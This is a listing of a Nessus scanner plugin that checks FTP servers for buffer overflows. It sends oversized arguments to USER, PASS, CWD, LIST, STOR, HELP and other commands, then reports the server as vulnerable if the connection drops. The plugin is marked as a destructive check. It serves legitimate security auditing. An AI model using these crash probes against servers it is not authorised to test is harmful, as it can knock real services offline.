home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / ftp_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  8KB  |  305 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. # Also covers:
  7. # CAN-2002-0126
  8. # CVE-2000-0870
  9. # ezserver FTP overflow (tested -> crashes by sending a too long username)
  10. #
  11. # References:
  12. # From: support@securiteam.com
  13. # Subject: [NT] Hyperion FTP Server Buffer Overflow (dir)
  14. # To: list@securiteam.com
  15. # Date: 25 Dec 2002 11:08:39 +0200
  16. #
  17. # From: support@securiteam.com
  18. # Subject: [NT] Multiple Vulnerabilities in Enceladus Server (cd, dir, mget)
  19. # To: list@securiteam.com
  20. # Date: 25 Dec 2002 11:03:42 +0200
  21. #
  22. # From:    "Carsten H. Eiram" <che@secunia.com>
  23. # To: "Full Disclosure" <full-disclosure@lists.netsys.com>,
  24. #    "VulnWatch" <vulnwatch@vulnwatch.org> 
  25. # Date:    26 Jun 2003 17:00:57 +0200
  26. # Subject: Secunia Research: FTPServer/X Response Buffer Overflow Vulnerability
  27. # From: support@securiteam.com
  28. # Subject: [UNIX] ProFTPD Long Password Crash
  29. # To: list@securiteam.com
  30. # Date: 25 Dec 2002 11:49:22 +0200
  31. #
  32.  
  33. if(description)
  34. {
  35.  script_id(10084);
  36.  script_bugtraq_id(1227, 1675, 1690, 1858, 3884, 7251, 7278, 7307, 961);
  37.  script_version ("$Revision: 1.50 $");
  38.  script_cve_id("CAN-2000-0133", "CVE-2000-0943", "CAN-2002-0126", "CVE-2000-0870", "CAN-2000-1035", "CAN-2000-1194", "CAN-2000-1035");
  39.  
  40.  name["english"] = "ftp USER, PASS or HELP overflow";
  41.  name["francais"] = "dΘpassement de buffer avec les commandes USER, PASS ou HELP";
  42.  script_name(english:name["english"], francais:name["francais"]);
  43.  
  44.  desc["english"] = "The remote FTP server closes
  45. the connection when a command is too long or is given
  46. a too long argument. 
  47.  
  48. This probably due to a buffer overflow, which
  49. allows anyone to execute arbitrary code
  50. on the remote host.
  51.  
  52. This problem is threatening, because
  53. the attackers don't need an account 
  54. to exploit this flaw.
  55.  
  56. Solution : Upgrade your FTP server or change it
  57. Risk factor : High";
  58.  
  59.  
  60.  desc["francais"] = "Le server FTP distant coupe
  61. la connection lorsque l'une des commandes est accompagnΘe 
  62. d'un argument trop long.
  63.  
  64. C'est probablement du α un dΘpassement de
  65. buffer, ce qui permet α n'importe qui
  66. d'executer du code arbitraire sur cette
  67. machine.
  68.  
  69. Ce problΦme est grave, car les pirates
  70. n'ont pas besoin d'avoir un accompte
  71. sur le serveur FTP pour exploiter ce
  72. probleme.
  73.  
  74. Solution : Mettez α jour votre serveur FTP
  75. ou changez-le
  76. Facteur de risque : ElevΘ";
  77.  
  78.  
  79.  script_description(english:desc["english"], francais:desc["francais"]);
  80.  
  81.  summary["english"] = "attempts some buffer overflows";
  82.  summary["francais"] = "essaye des buffers overflows";
  83.  script_summary(english:summary["english"], francais:summary["francais"]);
  84.  
  85.  script_category(ACT_DESTRUCTIVE_ATTACK);
  86.  
  87.  
  88.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  89.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  90.  family["english"] = "FTP";
  91.  family["francais"] = "FTP";
  92.  script_family(english:family["english"], francais:family["francais"]);
  93.  script_dependencie("find_service.nes", "ftpserver_detect_type_nd_version.nasl");
  94.  script_exclude_keys("ftp/msftpd", "ftp/ncftpd", "ftp/fw1ftpd", "ftp/vxftpd");
  95.  script_require_ports("Services/ftp", 21);
  96.  exit(0);
  97. }
  98.  
  99. #
  100. # The script code starts here
  101. #
  102.  
  103. include("ftp_func.inc");
  104.  
  105. port = get_kb_item("Services/ftp");
  106. if(!port)port = 21;
  107.  
  108.  
  109.  
  110. if(get_port_state(port))
  111. {
  112.  soc = open_sock_tcp(port);
  113.  if(soc)
  114.  {
  115.   d = ftp_recv_line(socket:soc);
  116.   if(!d){
  117.     set_kb_item(name:"ftp/false_ftp", value:TRUE);
  118.     close(soc);
  119.     exit(0);
  120.     }
  121.   if(!ereg(pattern:"^220[ -]", string:d))
  122.    {
  123.     # not a FTP server
  124.     set_kb_item(name:"ftp/false_ftp", value:TRUE);
  125.     close(soc);
  126.     exit(0);    
  127.    }
  128.  
  129.   if("Microsoft FTP Service" >< d)exit(0);
  130.  
  131.   req = string("USER ftp\r\n");
  132.   send(socket:soc, data:req);
  133.   d = ftp_recv_line(socket:soc);
  134.   ftp_close(socket:soc);
  135.   if(!d)
  136.   {
  137.    set_kb_item(name:"ftp/false_ftp", value:TRUE);
  138.    exit(0);    
  139.   }
  140.   
  141.   soc = open_sock_tcp(port);
  142.   d = ftp_recv_line(socket:soc);
  143.   s = string("USER ", crap(4096), "\r\n");
  144.   send(socket:soc, data:s);
  145.   d = ftp_recv_line(socket:soc);
  146.   if(!d){
  147.       set_kb_item(name:"ftp/overflow", value:TRUE);
  148.     set_kb_item(name:"ftp/overflow_method", value:"USER");
  149.     security_hole(port);
  150.     }
  151.   else
  152.   {
  153.    s = string("USER nessus\r\n");
  154.    send(socket:soc, data:s);
  155.    d = ftp_recv_line(socket:soc);
  156.    # ProFTPD 1.5.2 crashes with more than 12 KB
  157.    s = string("PASS ", crap(12500), "\r\n");
  158.    send(socket:soc, data:s);
  159.    d = ftp_recv_line(socket:soc);
  160.    if(!d){
  161.       set_kb_item(name:"ftp/overflow", value:TRUE);
  162.     set_kb_item(name:"ftp/overflow_method", value:"PASS");
  163.     security_hole(port);
  164.     }
  165.    else
  166.    {
  167.      s = string("CWD ", crap(4096), "\r\n");
  168.      send(socket:soc, data:s);
  169.      d = ftp_recv_line(socket:soc);
  170.      if(!d){
  171.       set_kb_item(name:"ftp/overflow", value:TRUE);
  172.     set_kb_item(name:"ftp/overflow_method", value:"CWD");
  173.     security_hole(port);
  174.     exit(0);
  175.     }
  176.     
  177.      s = string("LIST ", crap(4096), "\r\n");
  178.      send(socket:soc, data:s);
  179.      d = ftp_recv_line(socket:soc);
  180.      if(!d){
  181.       set_kb_item(name:"ftp/overflow", value:TRUE);
  182.     set_kb_item(name:"ftp/overflow_method", value:"LIST");
  183.     security_hole(port);
  184.     exit(0);
  185.     }
  186.     
  187.         
  188.      s = string("STOR ", crap(4096), "\r\n");
  189.      send(socket:soc, data:s);
  190.      d = ftp_recv_line(socket:soc);
  191.      if(!d){
  192.       set_kb_item(name:"ftp/overflow", value:TRUE);
  193.     set_kb_item(name:"ftp/overflow_method", value:"STOR");
  194.     security_hole(port);
  195.     exit(0);
  196.     }
  197.     
  198.      s = string("RNTO ", crap(4096), "\r\n");
  199.      send(socket:soc, data:s);
  200.      d = ftp_recv_line(socket:soc);
  201.      if(!d){
  202.       set_kb_item(name:"ftp/overflow", value:TRUE);
  203.     set_kb_item(name:"ftp/overflow_method", value:"RNTO");
  204.     security_hole(port);
  205.     exit(0);
  206.     }
  207.     
  208.      s = string("MKD ", crap(4096), "\r\n");
  209.      send(socket:soc, data:s);
  210.      d = ftp_recv_line(socket:soc);
  211.      if(!d){
  212.       set_kb_item(name:"ftp/overflow", value:TRUE);
  213.     set_kb_item(name:"ftp/overflow_method", value:"MKD");
  214.     security_hole(port);
  215.     exit(0);
  216.     }    
  217.         
  218.      s = string("XMKD ", crap(4096), "\r\n");
  219.      send(socket:soc, data:s);
  220.      d = ftp_recv_line(socket:soc);
  221.      if(!d){
  222.       set_kb_item(name:"ftp/overflow", value:TRUE);
  223.     set_kb_item(name:"ftp/overflow_method", value:"XMKD");
  224.     security_hole(port);
  225.     exit(0);
  226.     }
  227.     
  228.      s = string("RMD ", crap(4096), "\r\n");
  229.      send(socket:soc, data:s);
  230.      d = ftp_recv_line(socket:soc);
  231.      if(!d){
  232.       set_kb_item(name:"ftp/overflow", value:TRUE);
  233.     set_kb_item(name:"ftp/overflow_method", value:"RMD");
  234.     security_hole(port);
  235.     exit(0);
  236.     }    
  237.  
  238.  
  239.      s = string("XRMD ", crap(4096), "\r\n");
  240.      send(socket:soc, data:s);
  241.      d = ftp_recv_line(socket:soc);
  242.      if(!d){
  243.       set_kb_item(name:"ftp/overflow", value:TRUE);
  244.     set_kb_item(name:"ftp/overflow_method", value:"XRMD");
  245.     security_hole(port);
  246.     exit(0);
  247.     }    
  248.     
  249.      s = string("APPE ", crap(4096), "\r\n");
  250.      send(socket:soc, data:s);
  251.      d = ftp_recv_line(socket:soc);
  252.      if(!d){
  253.       set_kb_item(name:"ftp/overflow", value:TRUE);
  254.     set_kb_item(name:"ftp/overflow_method", value:"APPE");
  255.     security_hole(port);
  256.     exit(0);
  257.     }
  258.     
  259.      s = string("SIZE ", crap(4096), "\r\n");
  260.      send(socket:soc, data:s);
  261.      d = ftp_recv_line(socket:soc);
  262.      if(!d){
  263.       set_kb_item(name:"ftp/overflow", value:TRUE);
  264.     set_kb_item(name:"ftp/overflow_method", value:"SIZE");
  265.     security_hole(port);
  266.     exit(0);
  267.     }
  268.     
  269.      s = string("RNFR ", crap(4096), "\r\n");
  270.      send(socket:soc, data:s);
  271.      d = ftp_recv_line(socket:soc);
  272.      if(!d){
  273.       set_kb_item(name:"ftp/overflow", value:TRUE);
  274.     set_kb_item(name:"ftp/overflow_method", value:"RNFR");
  275.     security_hole(port);
  276.     exit(0);
  277.     }
  278.     
  279.                 
  280.      s = string("HELP ", crap(4096), "\r\n");
  281.      send(socket:soc, data:s);
  282.      d = ftp_recv_line(socket:soc);
  283.      if(!d){
  284.       set_kb_item(name:"ftp/overflow", value:TRUE);
  285.     set_kb_item(name:"ftp/overflow_method", value:"HELP");
  286.     security_hole(port);
  287.     exit(0);
  288.     }
  289.  
  290.      s = string(crap(4096), "\r\n");
  291.      send(socket:soc, data:s);
  292.      d = ftp_recv_line(socket:soc);
  293.      if(!d){
  294.       set_kb_item(name:"ftp/overflow", value:TRUE);
  295.     set_kb_item(name:"ftp/overflow_method", value:"");
  296.     security_hole(port);
  297.     exit(0);
  298.     }
  299.      }
  300.     }
  301.    close(soc);
  302.   }
  303.  }
  304.